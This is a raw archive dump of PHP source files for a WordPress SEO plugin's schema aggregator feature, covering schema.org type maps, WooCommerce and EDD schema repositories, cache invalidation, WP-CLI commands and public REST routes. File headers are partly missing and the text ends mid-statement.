'MedicalContraindication', 'MedicalDevice', 'MedicalGuideline', 'MedicalGuidelineContraindication', 'MedicalGuidelineRecommendation', 'MedicalIndication', 'ApprovedIndication', 'PreventionIndication', 'TreatmentIndication', 'MedicalIntangible', 'DDxElement', 'MedicalCode', 'MedicalConditionStage', 'MedicalProcedure', 'DiagnosticProcedure', 'PalliativeProcedure', 'PhysicalExam', 'SurgicalProcedure', 'TherapeuticProcedure', 'MedicalRiskCalculator', 'MedicalRiskEstimator', 'MedicalRiskFactor', 'MedicalRiskScore', 'MedicalStudy', 'MedicalObservationalStudy', 'MedicalTrial', 'MedicalTest', 'BloodTest', 'ImagingTest', 'MedicalTestPanel', 'PathologyTest', 'MedicalTherapy', 'OccupationalTherapy', 'PhysicalTherapy', 'RadiationTherapy', 'Substance', 'SuperficialAnatomy', ], 'meta' => [ 'Class', 'Property' ], 'website' => [ 'WebSite', 'WebPage', 'WebPageElement', 'AboutPage', 'CheckoutPage', 'CollectionPage', 'ContactPage', 'ItemPage', 'MedicalWebPage', 'ProfilePage', 'QAPage', 'RealEstateListing', 'SearchResultsPage', ], 'website-meta' => [ 'SiteNavigationElement', 'BreadcrumbList', 'ItemList', 'ListItem', 'WPAdBlock', 'WPFooter', 'WPHeader', 'WPSideBar', 'Table', ], ]; /** * Get the full map of schema.org types. * * @return array> The map; */ public static function get(): array { return self::$map; } } schema-aggregator/infrastructure/elements-context-map/elements-context-map-repository.php000064400000002340152076255320026262 0ustar00>|null */ private $map = null; /** * The map loader strategy. * * @var Map_Loader_Interface */ private $map_loader; /** * Constructor. * * @param Map_Loader_Interface $map_loader The map loader strategy. */ public function __construct( Map_Loader_Interface $map_loader ) { $this->map_loader = $map_loader; } /** * Retrieves the elements-context map. * * @return array> The elements context-map. */ public function get_map(): array { $this->map ??= $this->map_loader->load(); return $this->map; } /** * Saves the elements-context map. * * @codeCoverageIgnore -- This is just a setter. * * @param array> $map The elements-context map to besaved. * * @return void */ public function save_map( array $map ): void { $this->map = $map; } } schema-aggregator/infrastructure/elements-context-map/base-map-loader.php000064400000001026152076255320022725 0ustar00> The elements context map. */ public function load(): array { return Default_Elements_Context_Map::get(); } } schema-aggregator/infrastructure/elements-context-map/elements-context-map-repository-interface.php000064400000001224152076255320030220 0ustar00> The elements context map. */ public function get_map(): array; /** * Saves the elements-context map. * * @param array> $map The elements-context map to be saved. * * @return void */ public function save_map( array $map ): void; } schema-aggregator/infrastructure/schema-aggregator-conditional.php000064400000001604152076255330021607 0ustar00options = $options; } /** * Returns `true` when the Schema aggregator feature is enabled. * * @return bool `true` when the Schema aggregator feature is enabled. */ public function is_met(): bool { return $this->options->get( 'enable_schema_aggregation_endpoint' ) === true; } } schema-aggregator/infrastructure/aggregator-config.php000064400000003576152076255330017325 0ustar00 */ private const DEFAULT_SCHEMA_TYPES = [ 'Recipe', 'Article', 'Product', 'ProductGroup', 'Event', 'Person', 'Organization', 'WebSite', ]; /** * The WooCommerce Conditional. * * @var WooCommerce_Conditional */ private $woocommerce_conditional; /** * The Post Type Helper. * * @var Post_Type_Helper */ private $post_type_helper; /** * Aggregator_Config constructor. * * @param WooCommerce_Conditional $woocommerce_conditional The WooCommerce Conditional. * @param Post_Type_Helper $post_type_helper The Post Type Helper. */ public function __construct( WooCommerce_Conditional $woocommerce_conditional, Post_Type_Helper $post_type_helper ) { $this->woocommerce_conditional = $woocommerce_conditional; $this->post_type_helper = $post_type_helper; } /** * Get configured post types * * @return array */ public function get_allowed_post_types(): array { $default_post_types = $this->post_type_helper->get_indexable_post_types(); foreach ( $default_post_types as $key => $post_type ) { if ( ! $this->post_type_helper->is_indexable( $post_type ) ) { unset( $default_post_types[ $key ] ); } } // Reindex the array to avoid gaps. $default_post_types = \array_values( $default_post_types ); $post_types = \apply_filters( 'wpseo_schema_aggregator_post_types', $default_post_types ); if ( ! \is_array( $post_types ) ) { return $default_post_types; } return $post_types; } } schema-aggregator/infrastructure/schema-pieces/edd-schema-piece-repository.php000064400000004546152076255330023736 0ustar00edd_conditional = $edd_conditional; $this->meta = $meta; } /** * Checks if this repository supports the given post type. * * @param string $post_type The post type to check. * * @return bool True if this repository can provide schema for the post type. */ public function supports( string $post_type ): bool { return $this->edd_conditional->is_met() && $post_type === 'download'; } /** * Collects download schema pieces for EDD downloads. * * Triggers EDD's schema generation. * Returns the captured Product entity. * * @param int $post_id Download post ID. * * @return array> Product schema pieces (empty array if unavailable). */ public function collect( int $post_id ): array { if ( ! $this->edd_conditional->is_met() ) { return []; } try { $structured_data = new Structured_Data(); $structured_data->generate_download_data( $post_id ); $schema_output = $structured_data->get_data(); if ( ! \is_array( $schema_output ) || empty( $schema_output ) ) { return []; } // Ensure each piece has an @id. foreach ( $schema_output as $key => $piece ) { if ( ! isset( $piece['@id'] ) ) { $schema_output[ $key ]['@id'] = $this->meta->for_post( $post_id )->canonical . '#/schema/edd-product/' . $post_id; } } return $schema_output; } catch ( Exception $e ) { return []; } } } schema-aggregator/infrastructure/schema-pieces/woo-schema-piece-repository.php000064400000005226152076255330024002 0ustar00woocommerce_conditional = $woocommerce_conditional; } /** * Checks if this repository supports the given post type. * * @param string $post_type The post type to check. * * @return bool True if this repository can provide schema for the post type. */ public function supports( string $post_type ): bool { return $this->woocommerce_conditional->is_met() && $post_type === 'product'; } /** * Collects product schema pieces for WooCommerce products. * * Hooks into 'wpseo_schema_product' filter to capture enriched Product schema. * Triggers WooCommerce's schema generation via WC_Structured_Data. * Returns the captured Product entity. * * @param int $post_id Product post ID. * * @return array> Product schema pieces (empty array if unavailable). */ public function collect( int $post_id ): array { if ( ! $this->woocommerce_conditional->is_met() ) { return []; } try { $product = \wc_get_product( $post_id ); if ( ! $product || ! \is_a( $product, 'WC_Product' ) ) { return []; } $captured_schema = null; $capture_filter = static function ( $schema_data ) use ( &$captured_schema ) { $captured_schema = $schema_data; return $schema_data; }; \add_filter( 'wpseo_schema_product', $capture_filter, 999 ); // This will trigger the woocommerce_structured_data_product filter. // which Yoast WooCommerce SEO hooks into to enrich the schema. // which then triggers our wpseo_schema_product filter above. $structured_data = new WC_Structured_Data(); $structured_data->generate_product_data( $product ); \remove_filter( 'wpseo_schema_product', $capture_filter, 999 ); if ( ! \is_array( $captured_schema ) ) { return []; } return [ $captured_schema ]; } catch ( Exception $e ) { return []; } } } schema-aggregator/infrastructure/schema-pieces/schema-piece-repository.php000064400000015614152076255330023202 0ustar00 */ private $external_repositories; /** * Constructor. * * @param Meta_Tags_Context_Memoizer $memoizer The meta tags context memoizer. * @param Indexable_Helper $indexable_helper The indexable helper. * @param Meta_Tags_Context_Memoizer_Adapter $adapter The adapter factory. * @param Aggregator_Config $config The configuration provider. * @param Schema_Enhancement_Factory $enhancement_factory The schema enhancement factory. * @param Indexable_Repository_Factory $indexable_repository_factory The indexable repository factory. * @param WordPress_Global_State_Adapter $global_state_adapter The global state adapter. * @param External_Schema_Piece_Repository_Interface ...$external_repositories The external schema piece repositories. */ public function __construct( Meta_Tags_Context_Memoizer $memoizer, Indexable_Helper $indexable_helper, Meta_Tags_Context_Memoizer_Adapter $adapter, Aggregator_Config $config, Schema_Enhancement_Factory $enhancement_factory, Indexable_Repository_Factory $indexable_repository_factory, WordPress_Global_State_Adapter $global_state_adapter, External_Schema_Piece_Repository_Interface ...$external_repositories ) { $this->memoizer = $memoizer; $this->indexable_helper = $indexable_helper; $this->adapter = $adapter; $this->config = $config; $this->enhancement_factory = $enhancement_factory; $this->indexable_repository_factory = $indexable_repository_factory; $this->global_state_adapter = $global_state_adapter; $this->external_repositories = $external_repositories; } /** * Gets the indexables to be aggregated. * * @param int $page The page number (1-based). * @param int $page_size The number of items per page. * @param string $post_type The post type to filter by. * * @return Schema_Piece_Collection The aggregated schema. */ public function get( int $page, int $page_size, string $post_type ): Schema_Piece_Collection { $indexable_repository = $this->indexable_repository_factory->get_repository( $this->indexable_helper->should_index_indexables() ); $indexables = $indexable_repository->get( $page, $page_size, $post_type ); $schema_pieces = []; foreach ( $indexables as $indexable ) { if ( ! \in_array( $indexable->object_sub_type, $this->config->get_allowed_post_types(), true ) ) { continue; } $this->global_state_adapter->set_global_state( $indexable ); $page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable ); $context = $this->memoizer->get( $indexable, $page_type ); $context_array = $this->adapter->meta_tags_context_to_array( $context ); $pieces_data = $context_array['@graph']; // Collect external schema pieces from all supporting repositories. $pieces_data = $this->collect_external_schema( $pieces_data, $post_type, $indexable->object_id ); foreach ( $pieces_data as $piece_data ) { $schema_piece = new Schema_Piece( $piece_data, $piece_data['@type'] ); $enhancer = $this->enhancement_factory->get_enhancer( $this->get_all_schema_types( $context_array['@graph'] ) ); if ( $enhancer !== null ) { $schema_piece = $enhancer->enhance( $schema_piece, $indexable ); } $schema_pieces[] = $schema_piece; } $this->global_state_adapter->reset_global_state(); } return new Schema_Piece_Collection( $schema_pieces ); } /** * Collects external schema pieces from all supporting repositories. * * @param array> $pieces_data The existing schema pieces. * @param string $post_type The post type. * @param int $post_id The post ID. * * @return array> The schema pieces with external pieces added. */ private function collect_external_schema( array $pieces_data, string $post_type, int $post_id ): array { foreach ( $this->external_repositories as $repository ) { if ( $repository->supports( $post_type ) ) { $external_pieces = $repository->collect( $post_id ); $pieces_data = \array_merge( $pieces_data, $external_pieces ); } } return $pieces_data; } /** * All schema types present in the schema piece. * * @param array> $graph The current graph. * * @return array */ private function get_all_schema_types( array $graph ): array { $schema_types = []; foreach ( $graph as $schema_values ) { foreach ( $schema_values as $key => $value ) { if ( $key === '@type' ) { if ( \is_array( $value ) ) { foreach ( $value as $type_value ) { $schema_types[ $type_value ] = $type_value; } continue; } $schema_types[ $value ] = $value; } } } return $schema_types; } } schema-aggregator/infrastructure/schema-pieces/wordpress-global-state-adapter.php000064400000006017152076255330024461 0ustar00queried_object * * @var WP_Post|null */ private $previous_queried_object; /** * Previous global $wp_query->queried_object_id * * @var int|string|null */ private $previous_queried_object_id; /** * Previous query flags * * @var array */ private $previous_query_flags; /** * Set WordPress global state * * Helper method to set $post and $wp_query globals based on the given indexable. * This is critical to ensure that schema pieces relying on global state function correctly. * * @param Indexable $indexable The indexable to set the global state for. * * @return void */ public function set_global_state( Indexable $indexable ): void { global $post, $wp_query; $this->previous_post = $post; $this->previous_queried_object = ( $wp_query->queried_object ?? null ); $this->previous_queried_object_id = ( $wp_query->queried_object_id ?? null ); $this->previous_query_flags = [ 'is_single' => ( $wp_query->is_single ?? false ), 'is_page' => ( $wp_query->is_page ?? false ), 'is_singular' => ( $wp_query->is_singular ?? false ), ]; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly. $post = \get_post( $indexable->object_id ); $wp_query->queried_object = \get_post( $indexable->object_id ); $wp_query->queried_object_id = $indexable->object_id; $wp_query->is_single = false; $wp_query->is_page = false; $wp_query->is_singular = true; if ( $indexable->object_sub_type === 'page' ) { $wp_query->is_page = true; } else { $wp_query->is_single = true; } \setup_postdata( $post ); } /** * Restore WordPress global state * * Helper method to restore $post and $wp_query globals after schema collection. * This is critical to prevent side effects that could corrupt WordPress's global context. * * @return void */ public function reset_global_state(): void { global $post, $wp_query; \wp_reset_postdata(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To reset the post we need to do this explicitly. $post = $this->previous_post; if ( isset( $wp_query ) && \is_object( $wp_query ) ) { $wp_query->queried_object = $this->previous_queried_object; $wp_query->queried_object_id = $this->previous_queried_object_id; $wp_query->is_single = $this->previous_query_flags['is_single']; $wp_query->is_page = $this->previous_query_flags['is_page']; $wp_query->is_singular = $this->previous_query_flags['is_singular']; } } } schema-aggregator/infrastructure/enhancement/person-config.php000064400000002175152076255330020770 0ustar00 true, ]; $default = ( $defaults[ $enhancement ] ?? false ); return (bool) \apply_filters( "wpseo_person_enhance_{$enhancement}", $default ); } } schema-aggregator/infrastructure/enhancement/article-config.php000064400000003545152076255330021107 0ustar00 true, 'use_excerpt' => true, 'keywords' => true, ]; $default = ( $defaults[ $enhancement ] ?? false ); return (bool) \apply_filters( "wpseo_article_enhance_{$enhancement}", $default ); } /** * Determine if articleBody should be included * * Decision logic: * - If has excerpt AND article_body_when_excerpt_exists: include * - If no excerpt AND article_body_fallback: include * - Otherwise: skip * * @param bool $has_excerpt Whether post has valid excerpt. * * @return bool True if articleBody should be included. */ public function should_include_article_body( bool $has_excerpt ): bool { if ( $has_excerpt ) { return (bool) \apply_filters( 'wpseo_article_enhance_body_when_excerpt_exists', false ); } return (bool) \apply_filters( 'wpseo_article_enhance_article_body_fallback', true ); } } schema-aggregator/infrastructure/indexable-repository/indexable-repository.php000064400000002652152076255340024253 0ustar00indexable_repository = $indexable_repository; } /** * Retrieves existing public indexables in a paginated manner. * * @codeCoverageIgnore -- This is a wrapper for indexable_Repository::find_all_public_paginated, which has dedicated integration tests. * @param int $page The page number. * @param int $page_size The number of items per page. * @param string $post_type The post type to filter by. * * @return array The array of public indexables. */ public function get( int $page, int $page_size, string $post_type ): array { return $this->indexable_repository->find_all_public_paginated( $page, $page_size, $post_type, ); } } schema-aggregator/infrastructure/indexable-repository/indexable-repository-interface.php000064400000001235152076255340026205 0ustar00 The indexables. */ public function get( int $page, int $page_size, string $post_type ): array; } schema-aggregator/infrastructure/indexable-repository/wordpress-query-repository.php000064400000004474152076255340025517 0ustar00indexable_builder = $indexable_builder; $this->indexable_repository = $indexable_repository; } /** * Builds on-the-fly public indexables in a paginated manner. * * @codeCoverageIgnore -- This is covered by dedicated integration tests. * * @param int $page The page number. * @param int $page_size The number of items per page. * @param string $post_type The post type to filter by. * * @return array The array of public indexables. */ public function get( int $page, int $page_size, string $post_type ): array { $query = new WP_Query( [ 'post_type' => $post_type, 'post_status' => 'publish', 'posts_per_page' => $page_size, 'paged' => $page, 'fields' => 'ids', 'no_found_rows' => false, ], ); if ( ! $query instanceof WP_Query ) { return []; } $post_ids = isset( $query->posts ) && \is_array( $query->posts ) ? $query->posts : []; $public_indexables = []; foreach ( $post_ids as $post_id ) { $indexable = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' ); if ( $indexable !== null && ( $indexable->is_public === true || $indexable->is_public === null ) ) { $public_indexables[] = $indexable; } } return $public_indexables; } } schema-aggregator/infrastructure/indexable-repository/indexable-repository-factory.php000064400000002652152076255340025720 0ustar00native_repository = $native_repository; $this->wordpress_repository = $wordpress_repository; } /** * Gets the appropriate indexable repository based on availability. * * @param bool $indexables_available Whether native indexables are available. * * @return Indexable_Repository_Interface The selected indexable repository. */ public function get_repository( bool $indexables_available ): Indexable_Repository_Interface { if ( $indexables_available ) { return $this->native_repository; } return $this->wordpress_repository; } } schema-aggregator/user-interface/site-schema-aggregator-cli-command.php000064400000006520152076255340022270 0ustar00config = $config; $this->aggregate_site_schema_command_handler = $aggregate_site_schema_command_handler; } /** * Returns the namespace of this command. * * @return string */ public static function get_namespace() { return Main::WP_CLI_NAMESPACE; } /** * Aggregates the schema for a certain site. * * ## OPTIONS * * [--page=] * : The current page to process. * --- * default: 1 * --- * * [--per_page=] * : How many items to process per page. * --- * default: 100 * --- * * [--post_type=] * : The post type to aggregate schema for. * --- * default: 'post' * --- * * ## EXAMPLES * * wp yoast aggregate_site_schema * * @when after_wp_load * * @param array|null $args The arguments. * @param array|null $assoc_args The associative arguments. * * @throws ExitException When the input args are invalid. * @return void */ public function aggregate_site_schema( $args = null, $assoc_args = null ) { if ( isset( $assoc_args['page'] ) && (int) $assoc_args['page'] < 1 ) { WP_CLI::error( \__( 'The value for \'page\' must be a positive integer higher than equal to 1.', 'wordpress-seo' ) ); } if ( isset( $assoc_args['per_page'] ) && (int) $assoc_args['per_page'] < 1 ) { WP_CLI::error( \__( 'The value for \'per_page\' must be a positive integer higher than equal to 1.', 'wordpress-seo' ) ); } $page = (int) $assoc_args['page']; $per_page = (int) $assoc_args['per_page']; $post_type = $assoc_args['post_type']; try { $result = $this->aggregate_site_schema_command_handler->handle( new Aggregate_Site_Schema_Command( $page, $per_page, $post_type ) ); } catch ( Exception $exception ) { WP_CLI::error( \__( 'An error occurred while aggregating the site schema.', 'wordpress-seo' ) ); } $output = WPSEO_Utils::format_json_encode( $result ); $output = \str_replace( "\n", \PHP_EOL . "\t", $output ); WP_CLI::log( $output, ); } } schema-aggregator/user-interface/cache/abstract-cache-listener-integration.php000064400000006013152076255340023635 0ustar00indexable_repository = $indexable_repository; $this->config = $config; $this->manager = $manager; $this->xml_manager = $xml_manager; } /** * Registers the hooks with WordPress. * * @return void */ abstract public function register_hooks(); /** * Returns the needed conditionals. * * @return array */ abstract public static function get_conditionals(); /** * Calculates which page an indexable appears on in a filtered, paginated list. * * This method accounts for deletions by counting the actual position in the result set, * not just using the ID directly. * * @param Indexable $indexable The indexable to find the page for. * * @return int The page number (1-indexed) where this indexable appears. */ protected function get_page_number( $indexable ) { $query = $this->indexable_repository->query(); $query->where_raw( '( is_public IS NULL OR is_public = 1 )' ); $query->where( 'object_sub_type', $indexable->object_sub_type ); $query->where( 'post_status', 'publish' ); // Count how many records come before this indexable (have a smaller ID). $count_before = $query ->where_lt( 'id', $indexable->id ) ->count(); return ( (int) \floor( $count_before / $this->config->get_per_page( $indexable->object_sub_type ) ) + 1 ); } } schema-aggregator/user-interface/cache/woocommerce-product-type-change-listener-integration.php000064400000003665152076255340027202 0ustar00 */ public static function get_conditionals() { return [ Schema_Aggregator_Conditional::class, WooCommerce_Conditional::class, ]; } /** * This method resets the cache for the cached page where the product is located. * * @param WC_Product $product The product whose type was changed. * * @return bool */ public function reset_cache( $product ) { $product_id = $product->get_id(); if ( ! $product_id ) { return false; } $indexable = $this->indexable_repository->find_by_id_and_type( $product_id, 'post' ); if ( ! $indexable ) { $this->manager->invalidate_all(); $this->xml_manager->invalidate(); return false; } $page = $this->get_page_number( $indexable ); $this->manager->invalidate( 'product', $page ); $this->xml_manager->invalidate(); return true; } } schema-aggregator/user-interface/cache/indexables-update-listener-integration.php000064400000003111152076255340024363 0ustar00 */ public static function get_conditionals() { return [ Schema_Aggregator_Conditional::class ]; } /** * This method resets the cache for the cached page where the changed indexable is located. * * @param Indexable $indexable The updated indexable. * @param Indexable $indexable_before The state of the indexable before the update. * * @return bool */ public function reset_cache( $indexable, $indexable_before ) { if ( $indexable_before->permalink === null ) { $this->manager->invalidate_all(); $this->xml_manager->invalidate(); return false; } if ( $indexable->object_sub_type !== null ) { $page = $this->get_page_number( $indexable ); $this->manager->invalidate( $indexable->object_sub_type, $page ); $this->xml_manager->invalidate(); } return true; } } schema-aggregator/user-interface/site-schema-response-header-integration.php000064400000004562152076255340023376 0ustar00schema_map_header_adapter = $schema_map_header_adapter; } /** * Registers the hooks for the integration. * * @return void */ public function register_hooks() { \add_filter( 'rest_pre_serve_request', [ $this, 'serve_custom_response' ], 10, 4 ); } /** * Serve custom responses (XML or JSON) for schemamap endpoints * * Intercepts schemamap index endpoints to serve either XML or JSON with * proper content types and formatting. For XML responses (from /schema), * outputs raw XML. For JSON responses (from /schema.json or post-type endpoints), * outputs JSON with unescaped slashes for cleaner URLs. * * Only affects /yoast/v1/schema-aggregator endpoints. Other endpoints are unaffected. * * @param bool $served Whether the request has already been served. * @param WP_REST_Response $result Result to send to the client. * @param WP_REST_Request $request Request object. * * @return bool True if we served the request, false otherwise. * @codeCoverageIgnore ignore this since its needs to rely on headers being sent. Which does not work in integration tests. */ public function serve_custom_response( $served, $result, $request ): bool { if ( \strpos( $request->get_route(), '/yoast/v1/schema-aggregator' ) !== 0 ) { return $served; } if ( ! $result instanceof WP_REST_Response || $result->is_error() ) { return $served; } $this->schema_map_header_adapter->set_header_for_request( $result ); return true; } } schema-aggregator/user-interface/site-schema-aggregator-cache-cli-command.php000064400000005242152076255340023331 0ustar00config = $config; $this->cache_manager = $cache_manager; $this->xml_manager = $xml_manager; } /** * Returns the namespace of this command. * * @return string */ public static function get_namespace() { return Main::WP_CLI_NAMESPACE; } /** * Aggregates the schema for a certain site. * * ## OPTIONS * * [--post_type=] * : The current page to process. * [--page=] * : The current page to process. * --- * ## EXAMPLES * * wp yoast aggregate_site_schema_clear_cache * * @when after_wp_load * * @param array|null $args The arguments. * @param array|null $assoc_args The associative arguments. * * @throws ExitException When the input args are invalid. * @return void */ public function aggregate_site_schema_clear_cache( $args = null, $assoc_args = null ) { if ( ( isset( $assoc_args['page'] ) && (int) $assoc_args['page'] >= 1 ) && isset( $assoc_args['post_type'] ) ) { $this->cache_manager->invalidate( $assoc_args['post_type'], $assoc_args['page'] ); $this->xml_manager->invalidate(); WP_CLI::log( \__( 'The site schema cache has been cleared successfully.', 'wordpress-seo' ), ); return; } $this->cache_manager->invalidate_all(); $this->xml_manager->invalidate(); WP_CLI::log( \__( 'All site schema cache has been cleared successfully.', 'wordpress-seo' ), ); } } schema-aggregator/user-interface/site-schema-aggregator-xml-route.php000064400000010352152076255340022037 0ustar00 The conditionals that must be met to load this. */ public static function get_conditionals() { return [ Schema_Aggregator_Conditional::class ]; } /** * Site_Schema_Aggregator_Route constructor. * * @param Aggregate_Site_Schema_Map_Command_Handler $aggregate_site_schema_map_command_handler The command handler. * @param Xml_Manager $xml_cache_manager The XML cache * manager. * @param Aggregator_Config $aggregator_config The aggregator * configuration. */ public function __construct( Aggregate_Site_Schema_Map_Command_Handler $aggregate_site_schema_map_command_handler, Xml_Manager $xml_cache_manager, Aggregator_Config $aggregator_config ) { $this->aggregate_site_schema_map_command_handler = $aggregate_site_schema_map_command_handler; $this->xml_cache_manager = $xml_cache_manager; $this->aggregator_config = $aggregator_config; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $schema_aggregator_xml_route = [ 'methods' => 'GET', 'callback' => [ $this, 'render_schema_xml' ], 'permission_callback' => [ $this, 'get_permission_callback' ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::GET_SCHEMA_ROUTE, $schema_aggregator_xml_route ); } /** * Permission callback for the route. * * @codeCoverageIgnore -- No sensible tests can be written for this. * * @return bool True if the user has permission, false otherwise. */ public function get_permission_callback(): bool { return true; } /** * Returns a XML representation of the possible post types that can be used for schema. * * @return WP_REST_Response|WP_Error The success or failure response. */ public function render_schema_xml() { $cached_xml = $this->xml_cache_manager->get(); if ( $cached_xml !== null ) { $xml = $cached_xml; } else { $post_types = $this->aggregator_config->get_allowed_post_types(); $command = new Aggregate_Site_Schema_Map_Command( $post_types ); $xml = $this->aggregate_site_schema_map_command_handler->handle( $command ); $this->xml_cache_manager->set( $xml ); } $response = new WP_REST_Response( $xml, 200 ); $response->header( 'Content-Type', 'application/xml; charset=UTF-8' ); $response->header( 'Cache-Control', 'public, max-age=300' ); return $response; } } schema-aggregator/user-interface/site-schema-robots-txt-integration.php000064400000003001152076255350022423 0ustar00 The conditionals that must be met to load this. */ public static function get_conditionals() { return [ Schema_Aggregator_Conditional::class ]; } /** * Registers the hooks for this integration. * * @return void */ public function register_hooks() { \add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'maybe_add_xml_schema_map' ], 10, 1 ); } /** * Adds the XML schema map to the robots.txt if the site is public. * * @param Robots_Txt_Helper $robots_txt_helper The robots.txt helper. * * @return void */ public function maybe_add_xml_schema_map( Robots_Txt_Helper $robots_txt_helper ) { if ( (string) \get_option( 'blog_public' ) === '0' ) { return; } if ( \apply_filters( 'wpseo_disable_robots_schemamap', false ) ) { return; } $robots_txt_helper->add_schemamap( \esc_url( \rest_url( Main::API_V1_NAMESPACE . '/' . Site_Schema_Aggregator_Xml_Route::ROUTE_PREFIX . '/get-xml' ) ) ); } } schema-aggregator/user-interface/site-schema-aggregator-route.php000064400000014210152076255350021237 0ustar00 The conditionals that must be met to load this. */ public static function get_conditionals() { return [ Schema_Aggregator_Conditional::class ]; } /** * Site_Schema_Aggregator_Route constructor. * * @param Config $config The config object. * @param Capability_Helper $capability_helper The capability helper. * @param Aggregate_Site_Schema_Command_Handler $aggregate_site_schema_command_handler The command handler. * @param Manager $cache_manager The cache manager. * @param Post_Type_Helper $post_type_helper The post type helper. */ public function __construct( Config $config, Capability_Helper $capability_helper, Aggregate_Site_Schema_Command_Handler $aggregate_site_schema_command_handler, Manager $cache_manager, Post_Type_Helper $post_type_helper ) { $this->config = $config; $this->capability_helper = $capability_helper; $this->aggregate_site_schema_command_handler = $aggregate_site_schema_command_handler; $this->cache_manager = $cache_manager; $this->post_type_helper = $post_type_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $base_route_config = [ 'methods' => 'GET', 'callback' => [ $this, 'aggregate_site_schema' ], 'permission_callback' => [ $this, 'get_permission_callback' ], 'args' => [ 'post_type' => [ 'required' => true, 'validate_callback' => static function ( $param ) { return \is_string( $param ) && \preg_match( '/^[a-z0-9_-]+$/', $param ) && \post_type_exists( $param ); }, 'sanitize_callback' => 'sanitize_key', ], ], ]; $schema_aggregator_route_page = $base_route_config; $schema_aggregator_route_page['args']['page'] = [ 'default' => 1, 'validate_callback' => [ $this, 'validate_page' ], 'sanitize_callback' => 'absint', ]; \register_rest_route( Main::API_V1_NAMESPACE, self::GET_SCHEMA_ROUTE . '/(?P[a-z0-9_-]+)', $base_route_config ); \register_rest_route( Main::API_V1_NAMESPACE, self::GET_SCHEMA_ROUTE . '/(?P[a-z0-9_-]+)/(?P\d+)', $schema_aggregator_route_page ); } /** * Permission callback for the route. * * @return bool True if the user has permission, false otherwise. */ public function get_permission_callback(): bool { return true; } /** * Returns a JSON representation of a site. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response|WP_Error The success or failure response. */ public function aggregate_site_schema( WP_REST_Request $request ) { $post_type = $request->get_param( 'post_type' ); if ( ! $this->post_type_helper->is_indexable( $post_type ) ) { return new WP_Error( 'wpseo_post_type_not_indexable', \sprintf( 'The post type "%s" is excluded from search results.', $post_type ), [ 'status' => 404 ], ); } $page = ( $request->get_param( 'page' ) ?? 1 ); if ( ! $this->validate_page( (string) $page ) ) { return new WP_Error( 'rest_invalid_param', \sprintf( 'Invalid parameter(s): %s', 'page' ), [ 'status' => 400 ], ); } $per_page = $this->config->get_per_page( $post_type ); $output = $this->cache_manager->get( $post_type, $page, $per_page ); if ( $output === null ) { try { $output = $this->aggregate_site_schema_command_handler->handle( new Aggregate_Site_Schema_Command( $page, $per_page, $post_type ) ); $this->cache_manager->set( $post_type, $page, $per_page, $output ); } catch ( Exception $exception ) { return new WP_Error( 'wpseo_aggregate_site_schema_error', $exception->getMessage(), (object) [], ); } } $response = \rest_ensure_response( $output ); $response->header( 'Cache-Control', 'public, max-age=300' ); return $response; } /** * Validates the page parameter. * * @param string $page The page parameter to validate. * * @return bool True if the page is valid, false otherwise. */ public function validate_page( string $page ): bool { return \is_numeric( $page ) && $page > 0 && $page < \PHP_INT_MAX; } } user-profiles-additions/user-interface/user-profiles-additions-ui.php000064400000004323152076255350022146 0ustar00asset_manager = $asset_manager; $this->product_helper = $product_helper; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ User_Profile_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'show_user_profile', [ $this, 'add_hook_to_user_profile' ] ); \add_action( 'edit_user_profile', [ $this, 'add_hook_to_user_profile' ] ); } /** * Enqueues the assets needed for this integration. * * @return void */ public function enqueue_assets() { if ( $this->product_helper->is_premium() ) { $this->asset_manager->enqueue_style( 'introductions' ); } } /** * Add the inputs needed for SEO values to the User Profile page. * * @param WP_User $user User instance to output for. * * @return void */ public function add_hook_to_user_profile( $user ) { $this->enqueue_assets(); echo '
      '; /** * Fires in the user profile. * * @internal * * @param WP_User $user The current WP_User object. */ \do_action( 'wpseo_user_profile_additions', $user ); echo '
      '; } } wordpress/wrapper.php000064400000002702152076255350011000 0ustar00notification_center = $notification_center; $this->default_seo_data_collector = $default_seo_data_collector; $this->short_link_helper = $short_link_helper; $this->product_helper = $product_helper; $this->indexable_helper = $indexable_helper; $this->post_type_helper = $post_type_helper; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Initializes the integration. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'add_notifications' ] ); } /** * Adds notifications (when necessary). * * We want to show this notification only when there are enough posts that have the default SEO title or meta description, or both. * If this is not the case we will not show the notification at all since it does not serve a purpose yet. * * @return void */ public function add_notifications() { if ( ! $this->indexable_helper->should_index_indexables() ) { // Do not show the notification when indexables are disabled. $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); return; } if ( ! $this->post_type_helper->is_indexable( 'post' ) || ! $this->post_type_helper->has_metabox( 'post' ) ) { // Do not show the notification when posts are not indexable or have no metabox. $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); return; } $posts_with_default_seo_title = $this->default_seo_data_collector->get_posts_with_default_seo_title(); $posts_with_default_seo_description = $this->default_seo_data_collector->get_posts_with_default_seo_description(); $has_enough_posts_with_default_title = \count( $posts_with_default_seo_title ) > 4; $has_enough_posts_with_default_desc = \count( $posts_with_default_seo_description ) > 4; if ( ! $has_enough_posts_with_default_title && ! $has_enough_posts_with_default_desc ) { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); return; } $notification = $this->get_default_seo_data_notification( $has_enough_posts_with_default_title, $has_enough_posts_with_default_desc ); $this->notification_center->add_notification( $notification ); } /** * Build the default SEO data notification. * * @param bool $has_enough_posts_with_default_title Whether there are content types with default SEO title in their most recent posts. * @param bool $has_enough_posts_with_default_desc Whether there are content types with default SEO description in their most recent posts. * * @return Yoast_Notification The notification containing the suggested plugin. */ private function get_default_seo_data_notification( $has_enough_posts_with_default_title, $has_enough_posts_with_default_desc ): Yoast_Notification { $message = 